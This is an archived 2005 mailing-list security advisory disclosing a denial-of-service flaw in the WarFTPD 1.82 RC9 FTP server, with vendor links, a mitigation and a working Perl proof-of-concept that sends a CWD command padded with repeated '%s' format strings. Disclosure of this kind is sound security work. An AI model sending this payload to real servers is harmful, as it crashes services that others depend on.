Date: Thu, 27 Jan 2005 12:14:51 +0100
From: "MC.Iglo" <mc.iglo@gmx.de.>
To: [email protected]Subject: WarFTPD 1.82 RC9 DoS
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Y-GMX-Trusted: 0
X-Virus-Scanned: antivirus-gw at tyumen.ru
Hello,
due to an access violation, specialy crafted CWD-Commands will exit
the FTP server when running as a NT service.
User needs to be logged on.
Vendor's report can be found at
http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643
Solution: deny anonymous or untrusted logins or use patched version.
Updated Version can be found at
http://support.jgaa.com/index.php?cmd=ShowProduct&ID=3
PoC Exploit
<snip>
#!/usr/bin/perl -w
# remote DoS PoC Exploit for WarFTPD 1.82 RC9
# THX 2 barabas 4 his GoldenFTP-sploit :)
# greetings fly out to Foobar
use strict;
use Net::FTP;
my $payload="%s"x115;
my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("anonymous","[email protected]");
$ftp->quot("CWD",$payload);
</snip>
